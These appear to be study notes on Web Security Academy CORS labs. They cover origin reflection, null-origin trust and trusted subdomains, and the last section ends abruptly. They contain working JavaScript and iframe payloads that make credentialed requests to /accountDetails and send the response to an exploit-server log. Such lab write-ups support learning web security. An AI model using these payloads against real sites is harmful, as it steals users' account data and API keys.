CORS vulnerability with basic origin reflection
if the Access-Control-Allow-Credentials
header is present and when we add Origin: [<https://example.com>](<https://example.com/>)
to our request we observe Access-Control-Allow-Origin: [<https://example.com>](<https://example.com/>)
This means that we can do this in the body of the exploit serv:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<https://0ac5009d04822ad180cd30b100b0009b.web-security-academy.net/accountDetails>',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
CORS vulnerability with trusted null origin
if it has a whitelist of authorized urls with Origin:
but accepts Origin: null
if when we add Origin: null
in our request the server responds Access-Control-Allow-Origin: null
and Access-Control-Allow-Credentials: true
so it is possible to do this:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
CORS vulnerability with trusted insecure protocols
Here, if we submit Origin: [<http://example.com>](<http://example.com>)
to the GET /accountDetails
request, the server won't accept (it doesn't respond with an Access-Control-Allow-Origin : [<https://example.com>](<https://example.com>)
header)
But if we submit a subdomain Origin: <http://grosskibidi.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net
>
it's ok the server responds with
Access-Control-Allow-Origin: <http://grosskibidi.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net> Access-Control-Allow-Credentials: true
our request must therefore be initiated by a subdomain
That's good, we have stock.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net
vulnerable to reflected XSS in productID